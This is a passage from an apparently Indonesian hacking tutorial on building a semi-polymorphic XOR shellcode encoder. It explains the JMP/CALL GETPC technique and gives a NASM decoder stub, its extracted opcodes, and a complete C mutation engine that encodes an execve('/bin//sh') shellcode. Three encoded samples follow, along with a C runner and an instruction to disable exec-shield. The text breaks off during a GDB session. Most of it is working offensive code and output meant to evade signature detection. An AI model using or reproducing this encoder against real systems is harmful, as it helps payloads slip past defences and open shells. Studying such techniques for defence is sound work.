<p style="text-align: justify;">Teknik mencari lokasi memori dirinya ketika dieksekusi ini disebut dengan GETPC (get program counter/EIP). Trik   yang biasa dipakai adalah menggunakan instruksi JMP dan CALL. Decoder   akan JMP ke lokasi tepat di atas (sebelum) shellcode yang ter-encode.   Pada lokasi tersebut ada instruksi CALL ke lokasi sesudah  instruksi  JUMP tadi. CALL akan mem-push ke dalam stack return address, yaitu  alamat memori instruksi sesudah CALL. Karena lokasi shellcode ter-encode  tepat sesudah instruksi CALL, maka dalam puncak stack akan berisi  alamat memori (EIP/PC) shellcode ter-encode.</p>
<p style="text-align: justify;">Tidak seperti umumnya instruksi CALL yang diikuti dengan RET, dalam trik  ini kita tidak memerlukan instruksi RET karena kita tidak sedang  benar-benar memanggil subroutine. Instruksi CALL dimanfaatkan untuk  mengambil EIP/PC dari instruksi sesudah CALL.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/04/getpc_jmp_call1.png"><img class="aligncenter size-full wp-image-2059" title="getpc_jmp_call" src="http://www.ilmuhacking.com/wp-content/uploads/2010/04/getpc_jmp_call1.png" alt="" width="345" height="452" /></a></p>
<p style="text-align: justify;">Gambar di atas menunjukkan alur JMP/CALL untuk mendapatkan lokasi memori shellcode ter-encode. Pertama-tama decoder akan JMP ke lokasi point1, yang di sana ada instruksi CALL ke point2. Tepat di bawah CALL point2 adalah lokasi memori di mana shellcode ter-encode berada. Jadi ketika CALL dieksekusi lokasi encoded_shellcode akan di-push ke dalam stack sebagai return address dari instruksi CALL. Pada point2, terdapat instruksi POP ESI yang maksudnya adalah mengambl return address instruksi CALL pada point1, yaitu lokasi memori shellcode ter-encode.</p>
<p><b>Assembly Decoder</b></p>
<p align="justify">
Kita langsung saja buat kode assembly yang melakukan decoding dengan operasi logika XOR. Kita memanfaatkan teknik GETPC JMP/CALL seperti alur pada gambar di atas.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
</pre></td><td class="code"><pre class="asm" style="font-family:monospace;">global _start
&nbsp;
_start<span style="color: #339933;">:</span>
<span style="color: #00007f; font-weight: bold;">jmp</span> <span style="color: #000000; font-weight: bold;">short</span> point1
&nbsp;
point2<span style="color: #339933;">:</span>
<span style="color: #00007f; font-weight: bold;">pop</span> <span style="color: #00007f;">esi</span> <span style="color: #666666; font-style: italic;">; ESI = sebagai index lokasi byte yang akan di-decode</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">ecx</span> <span style="color: #666666; font-style: italic;">; ECX = 0</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">cl</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0x0</span> <span style="color: #666666; font-style: italic;">; ECX = shellcode size</span>
&nbsp;
decode_sc<span style="color: #339933;">:</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #000000; font-weight: bold;">byte</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esi</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0x0</span> <span style="color: #666666; font-style: italic;">; XOR 1 byte memori pada lokasi yang ditunjuk ESI</span>
<span style="color: #00007f; font-weight: bold;">inc</span> <span style="color: #00007f;">esi</span> <span style="color: #666666; font-style: italic;">; ESI maju 1 byte, decode byte berikutnya</span>
<span style="color: #00007f; font-weight: bold;">loop</span> decode_sc <span style="color: #666666; font-style: italic;">; Loop sebanyak ECX (ukuran shellcode)</span>
<span style="color: #00007f; font-weight: bold;">jmp</span> <span style="color: #000000; font-weight: bold;">short</span> encoded_sc <span style="color: #666666; font-style: italic;">; decode selesai, jump and execute shellcode!</span>
&nbsp;
point1<span style="color: #339933;">:</span>
<span style="color: #00007f; font-weight: bold;">call</span> point2 <span style="color: #666666; font-style: italic;">; call, push address of encoded_sc ke stack</span>
encoded_sc<span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">; encoded shellcode di sini</span></pre></td></tr></table></div>

<p align="justify">
Proses decoding di atas dilakukan dengan melakukan XOR dalam loop yang dimulai dari lokasi encoded_sc (yang disimpan di ESI) sebanyak ukuran encoded shellcode (yang disimpan di ECX). Sebelumnya lokasi encoded_sc diketahui dengan melakukan trik JMP/CALL GETPC dan lokasi encoded_sc disimpan di register ESI. Setelah loop selesai, shellcode telah kembali normal dan siap dieksekusi. Jadi setelah loop, ada instruksi JUMP ke lokasi encoded_sc.
</p>
<p align="justify">
Sekarang kita akan mengambil opcodenya dengan cara compile, link dan melakukan objdump.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ nasm -f elf decoderjmpcall.asm
$ ld -o decoderjmpcall decoderjmpcall.o
$ objdump -d ./decoderjmpcall
&nbsp;
./decoderjmpcall:     file format elf32-i386
&nbsp;
Disassembly of section .text:
&nbsp;
08048060 &lt;_start&gt;:
 8048060:       eb 0d                   jmp    804806f &lt;point1&gt;
&nbsp;
08048062 &lt;point2&gt;:
 8048062:       5e                      pop    %esi
 8048063:       31 c9                   xor    %ecx,%ecx
 8048065:       b1 00                   mov    $0x0,%cl
&nbsp;
08048067 &lt;decode_sc&gt;:
 8048067:       80 36 00                xorb   $0x0,(%esi)
 804806a:       46                      inc    %esi
 804806b:       e2 fa                   loop   8048067 &lt;decode_sc&gt;
 804806d:       eb 05                   jmp    8048074 &lt;encoded_sc&gt;
&nbsp;
0804806f &lt;point1&gt;:
 804806f:       e8 ee ff ff ff          call   8048062 &lt;point2&gt;</pre></div></div>

<p align="justify">
Sedikit penjelasan mengenai opcode di atas untuk menambah pengetahuan assembly. Di awal ada instruksi &#8220;JMP point1&#8243;. Opcode untuk JMP adalah 0xEB. Perhatikan point1 terletak 13 byte setelah instruksi ini, oleh karena itu opcodenya adalah &#8220;0xEB 0x0D&#8221;, yang artinya Jump sejauh 0x0D hex (13) byte setelah instruksi ini.</p>
<p align="justify">
Sebagai ilustrasi perhatikan output objdump di atas, instruksi &#8220;JMP point1&#8243; ada di lokasi memori 0&#215;8048060, dan kita tahu instruksi &#8220;JMP point1&#8243; memakan ruang 2 byte (0xEB dan 0x0D), maka tujuan lompatannya adalah 0&#215;8048060 + 2 + 13 = 0x804806f. Sekali lagi ingat, dihitungnya dari lokasi sesudah instruksi JMP, yaitu 0&#215;8048062. Kemudian dihitung 0x0D (13 byte) dari lokasi 0&#215;8048062 menjadi 0x804806f.
</p>
<p align="justify">
Sedangkan pada point1, ada instruksi &#8220;CALL point2&#8243; yang memakan ruang 5 byte (0xE8 0xEE 0xFF 0xFF 0xFF). 0xE8 adalah opcode untuk CALL, sedangkan 0xEE 0xFF 0xFF 0xFF dalam notasi little-endian adalah 0xFFFFFFEE yang merupakan representasi bilangan signed integer -18.
</p>
<p align="justify">
Kenapa kok jaraknya -18 ? Perhatikan lagi output objdump di atas. Ingat, mirip dengan JMP jarak lompatan dihitung dari lokasi sesudah instruksi CALL. Lokasi memori sesudah instruksi &#8220;CALL point2&#8243; adalah 0x804806f+5 = 0&#215;8048074. Kalau kita hitung 18 byte sebelum 0&#215;8048074, maka kita dapatkan lokasi 0&#215;8048062, yang tidak lain adalah lokasi point2.
</p>
<p align="justify">
Sekarang kita extract opcodenya dan menuliskannya dalam notasi shellcode hexadecimal.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ objdump -d ./decoderjmpcall|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/&quot;/'|sed 's/$/&quot;/g'
&quot;\xeb\x0d\x5e\x31\xc9\xb1\x00\x80\x36\x00\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff&quot;</pre></div></div>

<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/04/decoder_opcode.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2010/04/decoder_opcode.png" alt="" title="decoder_opcode" width="507" height="203" class="aligncenter size-full wp-image-2072" /></a></p>
<p align="justify">
Pada gambar di atas terlihat opcode dari decoder yang akan kita pakai. Perhatikan ada dua byte yang berwarna biru, yaitu ukuran shellcode pada index ke-6 dan kunci XOR pada index ke-9. Nantinya hanya dua byte itu saja yang berubah dalam setiap mutasi shellcode, byte selain itu selalu sama oleh karena itu kita tidak mengatakan true-polymorphic tetapi hanya semi-polymorphic.
</p>
<p><b>Encoder: Mutation Engine</b></p>
<p align="justify">Kini setelah kita memiliki opcode decoder, kita bisa mulai membuat mutation engine, yaitu script yang melakukan encoding dan menghasilkan encoded shellcode. Kita membuat dalam bahasa C, dan sebagai induk kita gunakan shellcode yang kita pakai dalam local exploit di artikel &#8220;<a href="http://www.ilmuhacking.com/exploit/belajar-membuat-shellcode-part-1/">belajar membuat shellcode part 1</a>&#8220;.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;sys/time.h&gt;</span>
<span style="color: #339933;">#include &lt;stdlib.h&gt;</span>
<span style="color: #339933;">#include &lt;unistd.h&gt;</span>
<span style="color: #339933;">#include &lt;stdio.h&gt;</span>
<span style="color: #339933;">#include &lt;string.h&gt;</span>
&nbsp;
<span style="color: #993333;">int</span> getnumber<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> quo<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> 
	<span style="color: #993333;">int</span> seed<span style="color: #339933;">;</span>
	<span style="color: #993333;">struct</span> timeval tm<span style="color: #339933;">;</span>
	gettimeofday<span style="color: #009900;">&#40;</span> <span style="color: #339933;">&amp;</span>tm<span style="color: #339933;">,</span> NULL <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	seed <span style="color: #339933;">=</span> tm.<span style="color: #202020;">tv_sec</span> <span style="color: #339933;">+</span> tm.<span style="color: #202020;">tv_usec</span><span style="color: #339933;">;</span>
	srandom<span style="color: #009900;">&#40;</span> seed <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #009900;">&#40;</span>random<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">%</span> quo<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #993333;">void</span> print_code<span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span> <span style="color: #339933;">*</span>data<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> 
	<span style="color: #993333;">int</span> i<span style="color: #339933;">,</span>l<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>i <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> strlen<span style="color: #009900;">&#40;</span>data<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #339933;">++</span>i<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>l<span style="color: #339933;">==</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>l <span style="color: #339933;">&gt;=</span> <span style="color: #0000dd;">15</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				l <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
		<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;\\x%02x&quot;</span><span style="color: #339933;">,</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>data<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #339933;">++</span>l<span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span>;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> 
	<span style="color: #993333;">char</span> shellcode<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span>
		<span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xc0</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x46</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xdb</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xc9</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xc0</span>&quot;</span>
		<span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x50</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\x73</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\x62</span><span style="color: #660099; font-weight: bold;">\x69</span><span style="color: #660099; font-weight: bold;">\x6e</span><span style="color: #660099; font-weight: bold;">\x89</span>&quot;</span>
		<span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xe3</span><span style="color: #660099; font-weight: bold;">\x50</span><span style="color: #660099; font-weight: bold;">\x53</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xd2</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x0b</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span>&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #993333;">int</span> count<span style="color: #339933;">;</span>
	<span style="color: #993333;">int</span> number <span style="color: #339933;">=</span> getnumber<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">200</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
	<span style="color: #993333;">int</span> badchar <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> 
	<span style="color: #993333;">int</span> ldecoder<span style="color: #339933;">;</span> 
	<span style="color: #993333;">int</span> lshellcode <span style="color: #339933;">=</span> strlen<span style="color: #009900;">&#40;</span>shellcode<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
	<span style="color: #993333;">char</span> <span style="color: #339933;">*</span>result<span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #993333;">char</span> decoder<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> 
		<span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xeb</span><span style="color: #660099; font-weight: bold;">\x0d</span><span style="color: #660099; font-weight: bold;">\x5e</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xc9</span><span style="color: #660099; font-weight: bold;">\xb1</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x36</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x46</span><span style="color: #660099; font-weight: bold;">\xe2</span><span style="color: #660099; font-weight: bold;">\xfa</span>&quot;</span>
		<span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xeb</span><span style="color: #660099; font-weight: bold;">\x05</span><span style="color: #660099; font-weight: bold;">\xe8</span><span style="color: #660099; font-weight: bold;">\xee</span><span style="color: #660099; font-weight: bold;">\xff</span><span style="color: #660099; font-weight: bold;">\xff</span><span style="color: #660099; font-weight: bold;">\xff</span>&quot;</span><span style="color: #339933;">;</span>
	decoder<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">6</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">+=</span> lshellcode<span style="color: #339933;">;</span> 
	decoder<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">9</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">+=</span> number<span style="color: #339933;">;</span> 
	ldecoder <span style="color: #339933;">=</span> strlen<span style="color: #009900;">&#40;</span>decoder<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
&nbsp;
	<span style="color: #b1b100;">do</span> <span style="color: #009900;">&#123;</span> 
		<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>badchar <span style="color: #339933;">==</span> <span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> 
			number <span style="color: #339933;">=</span> getnumber<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">10</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			decoder<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">16</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">+=</span> number<span style="color: #339933;">;</span>
			badchar <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>	
		<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span>count<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> count <span style="color: #339933;">&lt;</span> lshellcode<span style="color: #339933;">;</span> count<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> 
			shellcode<span style="color: #009900;">&#91;</span>count<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> shellcode<span style="color: #009900;">&#91;</span>count<span style="color: #009900;">&#93;</span> <span style="color: #339933;">^</span> number<span style="color: #339933;">;</span> 
			<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>shellcode<span style="color: #009900;">&#91;</span>count<span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> <span style="color: #ff0000;">'<span style="color: #006699; font-weight: bold;">\0</span>'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> 
				badchar <span style="color: #339933;">=</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span> 
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span>badchar <span style="color: #339933;">==</span> <span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
	result <span style="color: #339933;">=</span> malloc<span style="color: #009900;">&#40;</span>lshellcode <span style="color: #339933;">+</span> ldecoder<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	strcpy<span style="color: #009900;">&#40;</span>result<span style="color: #339933;">,</span>decoder<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
	strcat<span style="color: #009900;">&#40;</span>result<span style="color: #339933;">,</span>shellcode<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
&nbsp;
	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Key: %02x<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>number<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	print_code<span style="color: #009900;">&#40;</span>result<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p align="justify">
Sekarang kita coba jalankan dan kita lihat hasil mutasinya sebanyak 3 kali.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ ./encoder
Key: 29
&quot;\xeb\x0d\x5e\x31\xc9\xb1\x23\x80\x36\x29\x46\xe2\xfa\xeb\x05&quot;
&quot;\xe8\xee\xff\xff\xff\x18\xe9\x99\x6f\x18\xf2\x18\xe0\xe4\xa9&quot;
&quot;\x18\xe9\x79\x41\x06\x06\x5a\x41\x41\x06\x4b\x40\x47\xa0\xca&quot;
&quot;\x79\x7a\xa0\xc8\x18\xfb\x99\x22\xe4\xa9&quot;;
$ ./encoder
Key: 1a
&quot;\xeb\x0d\x5e\x31\xc9\xb1\x23\x80\x36\x1a\x46\xe2\xfa\xeb\x05&quot;
&quot;\xe8\xee\xff\xff\xff\x2b\xda\xaa\x5c\x2b\xc1\x2b\xd3\xd7\x9a&quot;
&quot;\x2b\xda\x4a\x72\x35\x35\x69\x72\x72\x35\x78\x73\x74\x93\xf9&quot;
&quot;\x4a\x49\x93\xfb\x2b\xc8\xaa\x11\xd7\x9a&quot;;
$ ./encoder
Key: 45
&quot;\xeb\x0d\x5e\x31\xc9\xb1\x23\x80\x36\x45\x46\xe2\xfa\xeb\x05&quot;
&quot;\xe8\xee\xff\xff\xff\x74\x85\xf5\x03\x74\x9e\x74\x8c\x88\xc5&quot;
&quot;\x74\x85\x15\x2d\x6a\x6a\x36\x2d\x2d\x6a\x27\x2c\x2b\xcc\xa6&quot;
&quot;\x15\x16\xcc\xa4\x74\x97\xf5\x4e\x88\xc5&quot;;</pre></div></div>

<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/04/hasilmutasi.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2010/04/hasilmutasi.png" alt="" title="hasilmutasi" width="575" height="376" class="aligncenter size-full wp-image-2079" /></a></p>
<p align="justify">
Pada gambar di atas, mutation engine menghasilkan 3 mutant dengan 3 kunci yaitu 29h, 1Ah, 45h. Pada bagian decoder, hampir tidak ada bedanya, yang berbeda hanyalah pada byte yang menyimpan kunci XOR dan shellcode size.</p>
<p align="justify">
Kunci XOR disimpan di decoder pada opcode &#8220;\x80\x36\x00&#8243;, yang berarti instruksi assembly &#8220;xor byte[esi],0&#215;0&#8243;. Bila \x00 pada opcode &#8220;\x80\x36\x00&#8243; diganti menjadi x29, maka berarti kita juga memodifikasi instruksi assemblynya menjadi &#8220;xor byte[esi],0&#215;29&#8243;. Begitu juga bila kita mengganti dengan \x1A dan \x45.
</p>
<p align="justify">
Opcode &#8220;\xb1\x23&#8243; pada decoder adalah shellcode size, yang dalam assembly berarti &#8220;mov cl,0&#215;23&#8243;. Dalam program tersebut kebetulan kita memakai shellcode berukuran 35 byte (23h). Bila shellcode yang dipakai ukurannya adalah 50 byte, maka mutation engine akan mengganti menjadi &#8220;\xb1\x32&#8243; yang dalam assembly berarti &#8220;mov cl,0&#215;32&#8243;.
</p>
<p align="justify">
Sedangkan untuk bagian encoded shellcode yang berwarna ungu, dari 3 kali dijalankan, mutation engine menghasilkan 3 encoded shellcode yang jauh berbeda, inilah yang disebut dengan polymorphic. Namun tentu saja karena decodernya statik, hasilnya tidak true-polymorphic, tapi cukup kita sebut semi-polymorphic saja.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/04/hasilmutasi1.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2010/04/hasilmutasi1.png" alt="" title="hasilmutasi" width="633" height="462" class="aligncenter size-full wp-image-2084" /></a></p>
<p align="justify">
Sekarang kita coba execute shellcode hasil mutasi dengan kunci 1Ah di atas. Saya akan gunakan program kecil dalam bahasa C di bawah ini.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">char</span> shellcode<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span>
<span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xeb</span><span style="color: #660099; font-weight: bold;">\x0d</span><span style="color: #660099; font-weight: bold;">\x5e</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xc9</span><span style="color: #660099; font-weight: bold;">\xb1</span><span style="color: #660099; font-weight: bold;">\x23</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x36</span><span style="color: #660099; font-weight: bold;">\x1a</span><span style="color: #660099; font-weight: bold;">\x46</span><span style="color: #660099; font-weight: bold;">\xe2</span><span style="color: #660099; font-weight: bold;">\xfa</span><span style="color: #660099; font-weight: bold;">\xeb</span><span style="color: #660099; font-weight: bold;">\x05</span>&quot;</span>
<span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xe8</span><span style="color: #660099; font-weight: bold;">\xee</span><span style="color: #660099; font-weight: bold;">\xff</span><span style="color: #660099; font-weight: bold;">\xff</span><span style="color: #660099; font-weight: bold;">\xff</span><span style="color: #660099; font-weight: bold;">\x2b</span><span style="color: #660099; font-weight: bold;">\xda</span><span style="color: #660099; font-weight: bold;">\xaa</span><span style="color: #660099; font-weight: bold;">\x5c</span><span style="color: #660099; font-weight: bold;">\x2b</span><span style="color: #660099; font-weight: bold;">\xc1</span><span style="color: #660099; font-weight: bold;">\x2b</span><span style="color: #660099; font-weight: bold;">\xd3</span><span style="color: #660099; font-weight: bold;">\xd7</span><span style="color: #660099; font-weight: bold;">\x9a</span>&quot;</span>
<span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x2b</span><span style="color: #660099; font-weight: bold;">\xda</span><span style="color: #660099; font-weight: bold;">\x4a</span><span style="color: #660099; font-weight: bold;">\x72</span><span style="color: #660099; font-weight: bold;">\x35</span><span style="color: #660099; font-weight: bold;">\x35</span><span style="color: #660099; font-weight: bold;">\x69</span><span style="color: #660099; font-weight: bold;">\x72</span><span style="color: #660099; font-weight: bold;">\x72</span><span style="color: #660099; font-weight: bold;">\x35</span><span style="color: #660099; font-weight: bold;">\x78</span><span style="color: #660099; font-weight: bold;">\x73</span><span style="color: #660099; font-weight: bold;">\x74</span><span style="color: #660099; font-weight: bold;">\x93</span><span style="color: #660099; font-weight: bold;">\xf9</span>&quot;</span>
<span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x4a</span><span style="color: #660099; font-weight: bold;">\x49</span><span style="color: #660099; font-weight: bold;">\x93</span><span style="color: #660099; font-weight: bold;">\xfb</span><span style="color: #660099; font-weight: bold;">\x2b</span><span style="color: #660099; font-weight: bold;">\xc8</span><span style="color: #660099; font-weight: bold;">\xaa</span><span style="color: #660099; font-weight: bold;">\x11</span><span style="color: #660099; font-weight: bold;">\xd7</span><span style="color: #660099; font-weight: bold;">\x9a</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        asm<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;jmp shellcode&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p align="justify">
Kita akan debug dengan GDB untuk melihat dalam memori apa yang terjadi sebelum dan sesudah decoder dieksekusi.
</p>
<blockquote><p>
Jangan lupa matikan dulu exec-shield dengan cara: echo &#8220;0&#8243; > /proc/sys/kernel/exec-shield. Bila anda memakai kernel-PAE maka shellcode ini tidak bisa dieksekusi karena pada kernel-PAE ada fitur NX-bit.
</p></blockquote>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">$ gcc -o execsc execsc.c
$ gdb ./execsc
(gdb) set disassembly-flavor intel
(gdb) x/25i &amp;shellcode
0x8049540 &lt;shellcode&gt;:  jmp    0x804954f &lt;shellcode+15&gt;
